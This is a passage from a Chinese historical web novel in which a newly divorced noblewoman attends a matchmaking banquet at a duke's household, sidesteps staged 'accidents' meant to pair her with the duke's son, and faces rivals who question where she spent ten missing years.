孟南枝将图纸小心收起来,温笑道:“走,陪母亲去用早膳,用完早膳后你先去休息。待母亲今日忙完,明日便同你一起去街上转转,看看你画的这份图纸与实际是否相符。”
图纸还存在很多问题,但此刻不该去打击他的积极性,的需要他自己去发现着修正。
“好呀母亲,我正好也想看看有没有哪里画得不对。”
沈砚珩眼睛明亮,说罢便扶着她走下阁楼。
长子沈砚修来得迟了些,他今日穿的是一袭白色镶青竹明纹锦袍,腰间系着青色玉带,整个人看起来格外清朗俊逸。
“母亲。”
他恭敬地向孟南枝行了一礼,而后将目光落在沈砚珩发暗的眼圈上,言语关切,“珩弟你这是一夜未眠?还是起得过早?”
“自然是起得早。”沈砚珩难得比兄长早一次,不愿承认自己是一夜未眠。
沈砚修惊讶了一瞬,诚心夸赞,“那兄长倒是要向你好好学习了。”
孟南枝欣慰地看着两个儿子,“好了,都别站着了,去用早膳吧。”
睡意渐少,起得很早的父亲和胡姨娘没等他们,早已用罢早膳,一个去了府衙,一个去了商铺。
用膳完毕后,孟南枝催促着次子沈砚珩快去歇息,带着长子沈砚修,依照昨日约定在巳时赶往曹国公府。
少年不喜拘束,沈砚修并未同孟南枝一起坐在马车内,而是单独骑了一匹马在前方引路。
曹国公府。
曹国公夫人正活力十足地站在大门廊下,对早已爬上梁柱的奴仆道:“记好本夫人和你说的,等到他们过来时,你就把彩灯扔下来,记得不要砸到南枝的头,但也不能偏太远。”
不能伤着南枝,但太偏又不能给儿子和南枝造成巧合的意外,让两个人亲近。
奴仆战战栗栗,“那要是砸到了世子怎么办?”
曹国公夫人不在乎地道:“那不要紧。”
儿子皮糙肉厚的伤一下怎么了?
交代完奴仆,她又走到扫洒的婆子面前,“你记得等他们走到你身前时,把扫帚倒向南枝,轻一点,别真伤着南枝了,实在不行你就倒向世子。”
“还有你,他们过来时,你就把豆子洒在地上,密一点,最好洒在他们的脚下,让南枝滑倒但也不能真伤着她。”
静候在一旁的曹宛清看时间差不多了,连忙过去把母亲推走,“母亲,南枝快来了,你赶紧回去‘病”着。”
曹国公夫人不放心地再次叮嘱,“你们一定要办好,事成了多发两个月的月钱。”
被交代的几个丫鬟奴仆瞬间干劲满满。
曹宛清望着母亲一步三回头的背影暗自叹气。
自上次邀南枝参加荷风宴出了那档子事,她心有罪过,这次七巧宴本也在纠结要不要邀请她。
没想到妹妹先是寻到了母亲,说要请南枝过来帮着操持七巧宴,为的是想促进南枝与弟弟成婚。
她自小与南枝一起长大,对南枝的脾性不说完全了解,也知个七八成。
南枝才刚和离,她们就做这事,等于在南枝的伤口上洒盐,有些过于不地道了。
但妹妹和母亲说好妇难争,她们若动手晚了,只怕南枝就再嫁到旁边人家去了。
母亲一听这话就急了,她当年就想让南枝做儿媳,但奈何南枝比弟弟年长两岁,弟弟还没及冠,南枝就与沈卿知定了婚。
南枝成婚那日,母亲还气得回家好拍桌子,说弟弟生的不是时辰,应该和她这个长姐换下位置。
眼下得知南枝和了离,若非她在一旁劝着,要以情动人,徐徐图之,只怕母亲当场就去孟家为弟弟求婚了。
她昨日交代南枝巳时过来,是因为巳时正是弟弟下朝回府的时间。
马车滚动,很快到了曹国公府。
孟南枝在月芹的搀扶下下了马车,恰好碰到刚下朝回来的曹景行。
他头戴乌沙,面容清俊,一双深邃的眼眸在紫色朝服下映得灼灼生辉。
沈砚修先一步到他面前,恭恭敬敬地行礼,“曹侍郎。”
曹景行微微颔首,抬手虚扶,声音温和而不失威严,“贤侄不必多礼。”
言罢,他将目光落在沈砚修身后的孟南枝身上。
因是七巧节,胡姨娘专门为她制了当下最流行的烟霞色织金长裙,腰系降红宫绦,垂着一枚湿润的羊脂玉坠,举手之间尽显从容与温婉。
乌发依旧被她简单地挽了个妇人髻,斜插一支赤金海棠簪。
肤如凝脂,眉目如画,一如她溺水前日,自己在街市偶见她的模样。
想起昨日被母亲紧急唤回来时的叮嘱,曹景行眸色微动,眼尾开了花,“南枝姐,别来无恙。”
第90章 对于母亲的想法他并不排斥
曾经那些年岁比自己小的少年,如今个个都变成了比自己成熟的样子,还都在不同领域取得了很好的成就。
谢归舟如此,曹景行亦如此。
但与谢归舟不一样的是,曹景行有着与她一起钻狗洞的经历。
他自幼便是他姐姐曹宛清的跟屁虫,他姐姐去哪,他就跟哪。
偏生曹宛清就爱和孟南枝一起玩,他也就每次“南枝姐”“南枝姐”地喊着。
孟南枝性子比较野,爬树翻墙钻狗洞,样样不拉下。
曹景行那时还比较矜持,自持是世家小公子,拉不下脸,不愿意钻。
她与曹宛清就威胁他,不钻就不带他玩。
他边哭边钻,钻到一半后悔要退回来时,她与曹宛清还一人给了他一脚,硬生生把他给踹了过去。
思此,孟南枝万分感慨地同他笑道:“景行,别来无恙。”
两人距离一下子拉近,曹景行眸中笑意更深了些,抬手邀她入府,“请。”
孟南枝微微颔首,提起裙摆,缓步入内。
曹景行目光落在她一如既往从容自信的背影上,轻笑一声,提步与她并肩而行。
沈砚修默默跟上,盯着两个人的背影,暗自咋舌。
母亲没回来时,他从来不知道他们和曹国公府的关系会这么近。
毕竟母亲不在的这些年,曹国公府并不与父亲往来。
也只有宛清姨会在他外出参宴,受人嘲讽时,帮衬他说几句公道话。
至于曹景行,偶尔会去书院代课,但面对他和面对其他学子没什么区别。
他完全想象不到在外受人尊敬的曹侍郎,会如此亲昵地称自己母亲为“姐”。
就如同他当初也一时没能接受奕王唤母亲“姐”一样。
但很明显,母亲对待奕王和曹侍郎的态度完全是两个样子。
几人刚进府门,就听见头顶传来一阵轻微的破空声。
孟南枝下意识抬头,只见一盏精致的彩灯正晃晃悠悠地朝她肩侧落来。
曹景行反应很快,长臂一伸,便想接住彩灯。
哪想身后被谢归舟训练过的沈砚修反应更快,他疾步上前将母亲揽到一侧,并迅速抬脚将那彩灯踢飞到院子里。
“母亲,您没事吧?”虽然没有砸到母亲,但沈砚修依然是满脸担心。
孟南枝摇头,“我没事。”
曹景行默默收起置于半空的手,转头看向梁柱上的奴仆,面含怒意,“你是怎么做事的?”
那奴仆吓得脸色惨白,连忙从梁柱上滑下来,跪在地上磕头如捣蒜,“世子爷饶命,是小的手笨,没拿好。”
孟南枝在旁边劝慰道:“景行不必动怒,他也是无心之失。”
曹景行闻言颔首,对着奴仆冷声道:“下不为例,若有再犯,定不轻饶。”
那奴仆如获大赦,连忙磕头谢恩,“谢世子爷,奴仆定不会再犯。”
几人再往里走,廊下扫洒的婆子恰好“摔倒”,手上没握紧的扫帚倒向孟南枝。
沈砚修再次眼尖手快地将母亲拉到一旁,扫帚擦过他的衣角,落在曹景行的朝靴上,发出闷的一声轻响。
还不待曹景行质问,那婆子就连忙起身跪在地上,假声假气地告罪,“世子爷饶命,都是老奴该死,一时没站稳,这才冲撞了贵人,求世子爷开恩饶了老奴。”
孟南枝眸色闪了闪,依她对曹国公府的了解,这些奴仆和丫鬟不会犯这么低级的错误。
沈砚修皱眉,他觉得曹国公府可能和母亲犯冲,打定主意以后还是让母亲少来的好。
曹景行眉头紧皱,自然也回过味来,看着地上的婆子冷声道:“既然知罪,就罚你两个月的月钱。”
啊?
那婆子惊讶了一瞬,下意识看向孟南枝,她刚才看到了,门口落灯的奴仆就是孟南枝求情,世子爷才饶过他的。
孟南枝眉目含笑,同样直直地看着她。
在她的规则里,犯错了就是要挨罚,不管目的是什么。
曹景行顺着她的目光看去,温和的面上怒意更甚,“还愣着干什么?是觉得罚得太少了吗?”
婆子被吓得一激灵,连忙跪地磕头,“老奴知错,老奴认罚,老奴再也不敢了。”
待她离去,曹景行对上孟南枝含笑的目光,颇有些无奈,“让南枝姐见笑了。”
孟南枝已然明了此事大致因果,但还是有些不解:“世子夫人?”
曹景行的夫人是南襄王家的小郡主,两人相识过程比较戏剧化,相爱过程也算是轰轰烈烈,婚后感情稳固。
孟南枝记得他们婚后第一年就有了孩子,比次子沈砚珩小两岁,如今应该也十二了。
“两年前病逝了。”曹景行语气平和,从一开始的不能接受,再到如今,他已经能够坦然面对妻子的死亡了。
孟南枝闻言眸色暗淡,低声劝慰,“节哀。”
从太子侧妃曹宛宁邀她来操持七巧宴,再到与玫姨和宛清姐共议七巧宴事宜,她一直未曾过问世子夫人,是因为孟南枝以为她随太后一起去避暑山庄了。
毕竟她溺水前的那几年,都是这么过来的。
孟南枝这次是真的觉得自己有些跟不上他们的步伐了,不仅年龄没长,思维也依旧没长。
几人继续往前走,没多远,路过小丫鬟端着的筐篮未拿稳,一筐豆子“噼里啪啦”地就滚向他们的脚下。
戏不过三。
这次,几人都有了防备,一个比一个站得稳。
沈砚修似懂非懂,但还是有些担心地拉住孟南枝,生怕她滑倒,“母亲小心。”
曹景行目光落在沈砚修身上,自带威严的面上带了几分柔和,“你这孩子不错。”
对于镇北侯家的这位沈世子,这些年的口碑并不算好,曹景行甚至见过他当街“行凶”殴打奴仆的样子。
倒是没想到孟南枝回来后,他的风评直接逆转。
先是府衙状告奴仆,洗去喜杀通房的恶名。
再是护母逼父和离,落个孝子硬刚的名声。
单是这两件,就足以让他在这新一代的世家子弟中冒个尖。
而他自然也知,缘由在于眼前的孟南枝。
毕竟她是他平生所见为数不多既睿智又果断的女子。
所以,对于母亲的想法他并不排斥,只是做法在他看来过于直白了些。
第91章 曹宛清的规劝,句句肺腑
“能得侍郎夸赞是犬子的荣幸。”既然提到长子,孟南枝便顺水推舟道:“不瞒你说,我今日带犬子过来,正是有件事想请你帮忙。”
曹景行闻言侧过头来看她,眸中全是笑意,“南枝姐但说无妨。”
孟南枝拿出求人办事的态度,微微屈身,施了一礼,“南枝想请曹侍郎帮犬子指点一下拙作。”
曹景行将她虚扶起来,“南枝姐怎么如此客气,贤侄的事我自当尽力。”
曹宛清站在镂空的墙后,目睹了全部过程,恨弟不争气地走了过来,“南枝,你来啦。”
孟南枝浅笑福礼,“宛清姐。”
沈砚修也跟着同曹宛清见礼,“宛清姨。”
“以前怎么没发现你手脚这么利索?”曹宛清笑睨了他一眼。
沈砚修一时没能反应过来,愣了一息才腼腆地笑了下,“是谢将军教的。”
没想到长子会这么回话的孟南枝,脑子里瞬间闪过谢归舟教导长子武枪的画面。
谢归舟之才,满京认可。
曹宛清闻言倒是赞扬了一番,“谢将军武艺超群,能得他亲自指教,倒是你的福气。”
沈砚修微微颔首,面上带着几分谦逊,“谢将军教导有方,我也只是学了些皮毛。”
眼见他们越说越远,曹景行眸色微动,对孟南枝道:“辛苦南枝姐同姐姐一起操持宴会,我先带砚修去书房。”
孟南枝颔首,转身对长子沈砚修鼓励示意。
沈砚修对她和曹宛清分别辑了一礼,步伐既雀跃又忐忑地跟在曹景行身后。
到了书房,待曹景行坐下,沈砚修才取出誊写的文章,双手捧着递给他。
曹景行接过,略一细看,但见字体工整,骨韵有致,眼底闪过一丝赞许,温声道:“你且坐,我细看下。”
怕站在身前影响他,但又不敢真的坐下去失了礼节,所以沈砚修只坐了五分之一的凳面。
曹景行慢慢翻阅,半晌,他才抬起头,目光落在眼前变得拘谨的少年身上,微微笑道:“字句工整,立意亦有可取之处。但辞采过于华茂,有太多堆砌之痕,而且例证略旧,缺乏新意。”
沈砚修听得极为认真,被夸时还有些高兴,到后面就只剩下丧气了。
待曹景行话音落下,他连忙起身,恭敬地行了一礼,“多谢曹侍郎指点,学生回去定当好好修改。”
曹景行摆手让他起身,给予鼓励,“不必如此多礼,你这文章虽有不足,但也能看出你平日里下了功夫,只要多加历练,假以时日,必有所成。”
在他眼里,眼前的少年郎还是被打磨得太少了。
沈砚修面露喜色,“学生定不负曹侍郎期望。”
待曹景行与沈砚修离开后,曹宛清同孟南枝笑道:“打你回来,这修儿倒是越发懂事了。”
长子改变得到好友认可,孟南枝抬了抬下巴,自信明媚,“那是我的孩子本来就懂事。”
“是是是,你的孩子都随你,哪有不懂事的道理。”曹宛清笑拉住她的手,往客院走,“戏台子刚搭好,你快来看一看。”
孟南枝笑问:“不先去看玫姨吗?”
曹宛清拒绝,“不去了,母亲这会儿又歇下了。”
内宅,在长女嘴里又歇下的曹国公夫人早已等得着急。
时不时地问嬷嬷事成了没,她的儿子有没有展现英雄救美的气质。
嬷嬷站在门口探了几探,终于等下了三个垂头丧气的奴仆。
曹国公夫人听完叙述,气得自己想骂自己。
她怎么会生出这么个“手脚愚笨”的东西,都把机会给他创造到这种地步了,竟然还不会运用,让一个小娃子给出尽了风头。
当下再也没心思装病,从软榻上下来让嬷嬷给她更衣。
嬷嬷赶忙安抚:“夫人您正病着,这一出去,让孟姑娘看到,之前的努力可就白费了。”
曹国公夫人没好气地瞪了嬷嬷一眼,“南枝那么聪明,肯定已经猜出来了。”
孟南枝与曹宛清来到客院,戏台子已经搭好,请的是京都最好的戏班子,选曲也是常规的天仙配。
吃了荷风宴的教训,曹宛清让戏班子的人一大早就全部拘在了曹国公府,并下了命令让他们直到宴会结束都不准外出。
左右不过管顿饭的事,免得被人利用混进来什么上不了台面的肮脏东西。
眼下,戏班子正赶在正午前抓紧排练,“七仙女”与“董永”在槐荫树下依依惜别。
与沈卿知的往夕涌在眼前,孟南枝眉目生疼,突然轻笑了一声,“宛清姐,我对景行无情,也无再婚想法。”
有些事,还是提前说清楚的好。
曹宛清内心“咯噔”一跳,转头看向孟南枝,见她笑意不达眼底,忙解释道:“南枝,我知你刚和离,一时无心再婚,但你先别急着拒绝。”
“我了解你,你重情重义,爱时全心全意,退时也绝不优柔寡断。但我知道,你和离肯定不是纯粹因为沈卿知纳了林婉柔为平妻,更重要的原因是砚修他们三个孩子对不对?”
“是因为他们待孩子不好,触了你的底线对不对?”
“但我们国公府不一样,你若与景行成婚,景行定能教导好砚修和砚珩。有国公府铺路,两个孩子的路肯定会走得更远。而朝昭在选婿时,也可以有更多的选择。”
“我母亲待你情同母女,对你的喜爱虽比不过我与妹妹,但也相差不了多少,我母亲以前就想娶你做我们曹家儿媳,这你是知道的。”
“再退一步说,你和景行自幼相识,他的脾性你也是知道的,不赌不色,无妻无妾,才学过人,的圣上常识,前途一片光明。”
“即便你对景行无情,南枝,你自问一下,跟这样一个知根知底的人生活在一起,你排斥吗?”
曹宛清句句肺腑,每一样都是诚心在为她考虑。
孟南枝内心酸涩,还是坚定地冲她摇了摇头,“谢谢宛清姐替我考虑这么多,但眼下我确实无心再婚。”
曹宛清还欲规劝,身后则传来一道铿锵有力的声音,“南枝,你可以眼下无心再婚,但我们可以先订下婚,等你想成婚时,咱们再婚。”
第92章 她是因为想攀上高枝,做曹侍郎的续弦呢
曹国公夫人换了一身石青色吉服短褂,下配牡丹暗纹蓝裙,头戴御赐凤簪,面色郑重,尽显威仪。
孟南枝连忙转身行礼,“玫姨。”
“南枝,与景行成婚,你不吃亏的。”曹国公夫人抬手扶她起来,语气和蔼,目光慈爱。
他们家景行,可比那镇北侯沈卿知实打实地有能耐多了。
她可以拍着胸脯说,整个满京,同年龄段的世家子弟,没一个能比得上他们家景行。
不管是宛清姐言语中的真诚,还是玫姨眼中的慈爱,孟南枝都能感受到。
但她还是不想,暗叹一声,只得再次搬出在皇后面前说出的话道:“南枝谢谢玫姨,只是南枝经与镇北侯和离一事,确实不敢再谈婚姻。”
“而且南枝之前在普寿寺待过些时日,已习惯了清静。眼下只想教导子女,并伴父亲左右,以尽孝道。”
曹国公夫人觉得她完全没搞清楚自身的处境,恨其不争气道:“你这孩子,你以前不这样的啊,谁欺负了你你不得欺负回来。”
“你是不是溺水之后溺傻了,你嫁到我们曹家,那沈卿知和他那平妻以后见你不还地给你行礼,有国公府的头衔压着他们,量他们在你面前连屁都不敢放一个。”
“母亲。”曹宛清觉得母亲说话太过粗鲁了,还戳了南枝的痛处。
孟南枝眼眶泛红,她知玫意是诚心待她,内心也确实是实打实的感动。
但她依旧坚定自己的想法,不能接受,“玫姨,宛清姐,你们的心意南枝都明白,只是南枝如今真的无心再婚。”
她回来本是为了掰正子女,她已经缺失了子女整整十年的关爱,若眼下立马就再嫁,岂不寒了子女的心。
而且对于子女未来的路,她另有打算。
若是依了曹国公府,那未来不管子女有何成就,永远都要背着靠曹家才能立足的名声。
而且曹国公府又岂会做无本买卖,子女得了曹家的实惠,自然也只能跟着曹家走上可能并非他们所喜欢的道路,这是孟南枝所不能接受的。
更何况,长子沈砚修上辈子就是因为参与皇子争位而亡。
曹国公夫人想不明白自家这么好的条件她到底为什么不答应,抬头看看女儿与南枝站在一起,却明显要比南枝年长十岁的面容。
她似突然醒悟道:“南枝,你跟姨说,你是不是觉得景行比你小两岁才不愿意,可你看你现在,明显要比景行小上好几岁嘛,你不要有心理负担。”
虽然自己实际年龄确实也才二十四,但孟南枝却不能说,“玫姨,南枝心意已绝。”
曹宛清见话都说到这份上,南枝依旧不同意,拉了拉还在气不过的曹国公夫人,“母亲,给南枝一些时间,不若先让南枝与景行多相处一段时间试试。”
曹国公夫人想想认可道:“南枝,按你宛清姐说的,你不可再拒绝了。”
身为曹国公府夫人,却为她退让到这种地步,孟南枝不好把话说得更绝,只得屈身行礼,道:“南枝多谢玫姨和宛清姐体谅。”
曹宛清见状忙上前扶住她,轻声安慰,“南枝,我们今日所做并非逼迫于你,你可千万别往心里去。”
“我醒得的。”孟南枝点头,轻拍了拍她的手。
三人言罢,又一路查验了菜肴和瓜果,院内布置等,尽量做到尽善尽美。
临到正午,曹宛清的女儿带着她的陈家小姐们率先入了府,一个个穿得花枝招展,赏心悦目。
几个小姑娘明显来前被长辈叮嘱过,规矩地同她们行了礼。
几双明亮的眼睛,好奇地盯着孟南枝看起来比她们大不了几岁的脸,却都没有出格地多问。
七巧宴本就是特地为世家特地举办的“相亲会”,所以来的多为当家主母,各自携着本家未曾婚配的适龄孩子。
因着荷风宴一事,诸多夫人早已见过孟南枝,还曾在府衙被谢归舟逼着同她道了歉。
所以在曹国公府再见到她,那些道了歉的夫人对她在这里本能的不喜,说起话来也阴阳怪气。
“哟,这不是与镇北侯和离的镇北侯夫人么,真没想到今日竟然又见面了。不会再出来个不三不四的人,说是她的‘夫君’吧?”
“哪能每次都能让你遇见,人家就不能私下里相见?”
“你们小声点,莫要让她听见了。”
“是呀,你没看之前嚣张的马夫人,从进府就座得远远的,没到她跟前来吗?”
“真不知道那马夫人在怕什么,她如今没了镇北侯夫人的头衔,就什么都不是,见到本夫人还不得与本夫人行礼。”
“再说,这里是国公府,还能由着她来撒野?”
孟南枝目光落在那个带头说话的妇人身上,面生,并不相识,拿起手边的核桃就朝她砸了过去。
正砸在她的嘴角,当下红了一片。
妇人气得面色涨红,“你,孟南枝,你为什么要砸我?”
孟南枝又抓起一把核桃,对着她的脸眼神里满是嘲讽,“说话那么脏,我还以为是个畜生,真没想到竟然是个人。”
妇人指着孟南枝,当场就要过来撕她的脸:“孟南枝,你不要太过分,你不过是个被镇北侯下了降妾书的贱人,没了镇北侯你如今什么也不是,在这里装什么大蒜,耍什么威风呢。”
偏偏一道娇弱似水的声音阻止了她,“赵夫人,您怎么能用我们侯爷的名号,这么说南枝呢,我们家侯爷当初为她做了那么多,她却丝毫不领情。”
林婉柔在陆筝筝的搀扶下,终于跟着奕王萧临渊混进了曹国公府,一进女厅,便娇柔柔地抱屈,“哪怕我这因太后懿旨嫁于侯爷的平妻,自愿被休她也要和离,您当是为什么呢?”
赵夫人被身边还算有点眼色的人拽住了衣服,她瞪了孟南枝一眼,同时也有些看不上拿她当枪使的林婉柔,“为什么?难道不是被你给逼和离的?”
林婉柔气得一噎,攥紧了帕子继续柔柔弱弱地说道:“她一心想与我们侯爷和离,那是因为想攀上高枝,做曹侍郎的续弦呢。”
第93章 林婉柔松开了手中的帕子,这局又稳了
赵夫人闻言斜瞥了孟南枝一眼,满脸都是讽刺,“马夫人你怕是听岔了吧,曹侍郎能看得上她?要知道她年岁可比曹侍郎还大。”
马夫人道:“说不定人家就是仗着自己脸皮厚,认为能得了曹侍郎的青睐呢。”
孟南枝看向马夫人,目光冰冷,“马夫人,饭可以乱吃,话却不能乱说,你是不是还没因你那张嘴吃够教训。”
虽然是曹国公府主动邀的她,她也已经拒绝了曹国公府,但却不能明说丢了曹国公府的面子。
马夫人冷嘲热讽,“怎么?你还想否认?外面可都传遍了,你孟南枝从昨日就开始往曹国公府跑,办个七巧宴也来献殷勤,不就是想攀上曹国公府这根高枝。”
有夫人附和道:“我今日来的路上确实听到街上有人说,孟南枝要嫁到国公府。”
随着她的话音落地,众人皆惊。
马夫人说的竟然是真的?
她们还以为她是忌恨上次被砸故意报复恶心孟南枝。
跟着奕王萧临渊混进曹国公府,在陆筝筝的搀扶下,穿着华贵的衣装,准备给人营造贵人来迟形象的林婉柔,终于慢悠悠地到了女厅。
哪想刚一进厅,就听到马夫人如此言论,当下便拽紧了帕子。
孟南枝可以再嫁,但却不可以高嫁。
若不然她辛辛苦苦哪怕成了镇北侯夫人,岂不也成了别人嘴里只会捡孟南枝不要男人的贱人。
所以她眸色一变,幽幽说道:“马夫人怕是听岔了吧,南枝爱慕我家侯爷,自持要与我家侯爷一生一世一双人,怎么会就突然要嫁于曹侍郎呢?”
马夫人觉得林婉柔有病,此刻难道不该与她站到同一条站线,跟着讽刺孟南枝两句吗?
反倒替孟南枝来反驳她是什么意思。
但一想到林婉柔一直都是这个贱人德行,马夫人连翻了两个白眼,耻笑道:“也就你家侯爷自以为深情,哪想别人根本就没想和他过日子,只想另攀高枝呢,你要回去劝劝你家侯爷,为了这种女人,不值得。”
正在另外一处招呼客人的曹宛清,在女儿的找寻下疾步跑过来,“马夫人,这里是国公府,你若参宴就莫要胡吣,若不想参宴,好请不送,立刻滚出去。”
她昨日只顾择了镇北侯府,怎么忘了还有这么个脏东西。
斥责完马夫人,曹宛清又冷眼看向林婉柔,“我记得已经收了镇北侯府的贴子,敢问镇北侯平夫人,你是怎么进来的?”
那个“平”字咬得极重。
林婉柔眸色暗了暗,拿起帕子半掩面,得意地笑道:“那是因为奕王邀请我与女儿一起来的啊。”
曹宛清闻言蹙眉,她是有听闻奕王这几日常同陆筝筝一起出去,倒没想到奕王竟然能为那陆筝筝做到这种地步。
见曹宛清被她说得怔住,林婉柔眸中闪过自得,面上却依旧是副关心孟南枝的模样,“南枝,你说我说的对不对呢?你深爱侯爷,怎么会突然再嫁,又怎么会愿意嫁一个比自己还要年岁小的。”
孟南枝嘴角轻扯,轻笑道:“林婉柔,镇北侯府的路是修得太宽了吗?还是你今日吃得太咸了?你指着谁的脸面还伸手想要管到我孟南枝身上来?”
林婉柔被她说得心口一窒,面上却强撑着笑意,故作镇定道:“南枝,我这也是为你好,毕竟你与侯爷曾经夫妻一场,若是这么快就另嫁他人,难免落人口实。”
扶着林婉柔的陆筝筝顺着母亲的话,也怯生生地规劝道:“是啊,南姨,母亲也是为您好,这本来就没有刚和离,转眼就嫁人的,传出去会让人笑话的。”
“笑话?”孟南枝冷哼一声,笑意不达眼底,“我孟南枝最不怕的就是被人笑话。”
她冷眼扫向林婉柔,心知她打的什么主意,又岂会如她的意,“镇北侯背弃于我,难不成我还要为他守节?我嫁与不嫁,跟你有何干系?跟镇北侯又有何干系!”
林婉柔被她当众戳穿心思,脸色一阵青一阵白,却仍不肯罢休,继续说道:“南枝,你莫要误会,我真的是为你着想。你想想你还有三个孩子,你若此时再嫁,让修儿他们如何自处?”
只是她话音还未落地,就被一道清越之声打断。
“我母亲是否再婚跟你有何干系?我们如何自处又跟你有何干系?婉姨你莫自持是我父亲的平妻就管得太宽了!”
沈砚修大跨步过来,站在孟南枝身侧,“母亲。”
是他贪学又跟曹侍郎讨教了几篇文章,这才过来晚了些。
母亲是否再婚,在他看来并没有什么,他只希望母亲好好活着。
恰是此时曹国公夫人也在嬷嬷的搀扶下走进来,她目光扫过众人间的窃窃私语,威严道:“我曹国公府摆设七巧宴,本是喜事一桩,怎的倒成了你们搬弄是非的场所?”
说到此处,她又冷冷地睨了林婉柔一眼,“南枝如今是自由之身,再婚与否,皆是由她定。谁若再敢多言,就给我滚出去!”
到底是因为她们曹国公府,才让孟南枝落人口实,曹国公夫人心里有些过意不去。
言罢,她又招呼着孟南枝到自己身边来,握住她的手目光再次一一扫向众人,道:“再说,南枝的品性才学那是一等一的好,若真成了我家儿媳,那也是我曹国公府的福气。”
玫姨此言有道歉之意,所以孟南枝回握了下她的手,表示自己不在意。
众人见状,再次起了惊。
看她们这架势,那就是说马夫人所言都是真的。
曹国公府竟是真的要与孟家联姻?
刚与镇北侯和离的孟南枝马上就要转嫁更有前途的曹侍郎?
这……
孟南枝,还真是好命。
被她们所忽略的马夫人,此时却是突然再次开口道:“温夫人,您莫要被孟南枝给骗了。她满口谎言没有一点品性可言。”
见众人的目光皆落在自己身上,马夫人唇角噙了笑道:“她说她十年未归,是在岚城弥岳山普寿寺。真巧,我昨日遇到一个普寿寺的尼师,可她却说从未在普寿寺见过孟南枝。”
林婉柔垂眉暗自松开了手中的帕子,这局又稳了。
第94章 不管她经历什么,都配得上和我们曹家订婚
起风了。
挂在高枝上的喜鹊灯被吹落了地,发出刺耳的碎裂声。
沈砚修面露担心,下意识上前一步站在了母亲前面。
他太知道普寿寺这个借口是假的了。
孟南枝将他拉回自己的身侧,摇头示意他不用担心。
曹国公夫人看到他们母子这般举动,心头微跳。
想起次女曹宛宁的交代后,她紧锁眉头,转头冷睨了马夫人一眼,“今日是我曹国公府的七巧宴,不是给你耍猴演戏的地方,你若不是诚心参宴,就滚出去。”
马夫人为了报儿子被伤之仇做了完全准备,她出门时还跟儿子讲今日势必要将孟南枝踩在脚底下,此时又岂会退缩。
她瞪着带着赤红血丝的眼睛道:“温夫人,孟南枝十年溺水不见,冒说自己在普寿寺,明显就是在故意欺瞒,隐藏着什么龌龊事。”
“您若让曹侍郎娶了她,只怕是要误了曹侍郎。”
随着她的话音落地,那些惯会踩人一脚的夫人又开始冷嘲热讽地窃窃私语。
“就是,她孟南枝一回来连镇北侯府的大门都未进就逼着镇北侯休平妻。”
“她难道不知道那是太后懿旨?镇北侯如何敢休?”
“最终结果还不是为了闹和离,这刚一和离就想和曹国公府攀上关系,怕不是真如马夫人所说藏着什么龌龊事儿。”
林婉柔眸色微动,暗攥着帕子开口上前同曹国公夫人行了一礼,满心为孟南枝着想的模样道:“温夫人,不若让马夫人把那师尼唤上来,若不是,也不冤枉了南枝。”
说到此处,她便又黯然泪下,声声泣泣,“若是,我也想替侯爷问一问南枝,她这些年到底是去了哪里?为何这么狠心离去?”
被她的话架到这份上,曹国公夫人明显不悦,“你这是什么意思?威胁本夫人非要听你们的?本夫人还偏不让她进来了!”
没想到曹国公夫人竟然护孟南枝护到这种份上,林婉柔眸中暗恨,“温夫人,我知您是护着南枝,可您不想南枝背着骂名吧?”
曹国公夫人满目厌恶,还欲再次开口斥责,却孟南枝拦了下来。
“玫姨,让我来。”
这是她自己的事情,不该由曹国公夫人替她出头。
若无她们为她与曹景行牵线一事倒还好说,有了此事,她便不想去承曹国公府太多情。
免得债多压身,到最后逼着把自己卖了。
她目光落在林婉柔、马夫人,还有一直阴阳怪气的赵夫人身上,嘴角勾了勾,“既然你们那么想听那师尼说什么,那便把她请过来吧。”
曹国公夫人得她这话,眉头微蹙,这和次女交代的不一样,不免看了眼曹宛清。
曹宛清对她轻轻摇了摇头,走上前搀扶住她的一只臂弯,轻拍示意静观其变。
不多时,府中婆子便领着一个灰衣长衫的中年师尼走过来。
那师尼倒不拘束,很是道深地对每个方向的夫人均施了一礼,“贫尼落心,来自岚城弥岳山普寿寺。”
马夫人指着孟南枝对那师尼道:“落心师尼,你且说说,这孟南枝可曾在你们普寿寺挂单修行?”
师尼仔细地看向孟南枝,面露生意,片刻后才双手合十,轻声道:“阿弥陀佛,贫尼未曾在寺中见过这位女施主。”
此言一出,厅内顿时哗然,那些原本就对孟南枝心存不满的夫人,这次连顾忌都不在顾忌,议论之声四起。
“普寿寺竟然真是假的?那孟南枝她整整十年去了哪里?”
“难道是她竟真的是在外面被人养着?”
“就是说,一个活生生的人,大衍湖挖干了都没寻到,怕不是溺死,而是故意假死去会情人了吧?”
“可不是么,都十年了,别不是在外面还生了什么孩子吧。”
为了堵住孟南枝的嘴,不想给她解释的机会。
林婉柔先她一步双目含泪委屈地哭诉道:“南枝,侯爷与我待你如此赤诚,你为何……如此狠心,连孩子也不管。”
说着,她又想上前去拉沈砚修的衣袖,“修儿,宛姨替你和珩儿他们委屈。”
沈砚修又羞又恼,第一次不尊长辈地把她推了出去,“我不用你来委屈。”
林婉柔被他推得一屁股蹲到地上,抬目迎上众夫人掩面偷笑的表情,顿觉丢脸,掩面声声泣道:“修儿你怎可如此待我,你母亲不在的这些年,我……”
“你什么!”见她又要老声长谈,沈砚修恼怒道:“是不是又要说你待我如何好,如何衣不解带地服侍我对不对?你不过是为了想坐上镇北侯夫人的位置罢了。”
陆筝筝将林婉柔扶起来,眼中噙泪,怯生生地表演着护母之情,“沈世子,你怎么可以如此待我母亲,你扪心自问这些年,我母亲可有曾亏待过你。”
面对陆筝筝的直视,沈砚修握了握拳头,“你们母女,哪有一个真心!”
她们一个想取代母亲的位置,还有一个竟然妄想讨要外祖母留给母亲的遗物。
孟南枝觉得长子可以出师了,至少他现在完全脱离了巨幕中对陆筝筝无脑的爱慕之情。
马夫人却是冷眼看着林婉柔和陆筝筝,暗骂这对母女可真是惯会抢戏。
她挑衅地看了孟南枝一眼,对曹国公夫人道:“温夫人,眼下便可证明孟南枝她根本就没在普寿寺,她这十年不干不净,根本就不配和曹侍郎订婚。”
曹国公夫人斜睨了她一眼,“不管南枝这十年经历什么,她都配得上和我们曹家订婚。”
马夫人一窒,噎得说不出话来。
孟南枝也心生慰贴,感动地对曹国公夫人微微颔首,越过马夫人,径直走向那师尼,目光如炬:“你叫落心?”
师尼点头道:“是。”
孟南枝再问:“你确定你是普寿寺的师尼?”
师尼眼帘微闪,再次点头,“是。”
听到孟南枝问到此处,林婉柔便垂眉收起了帕子。
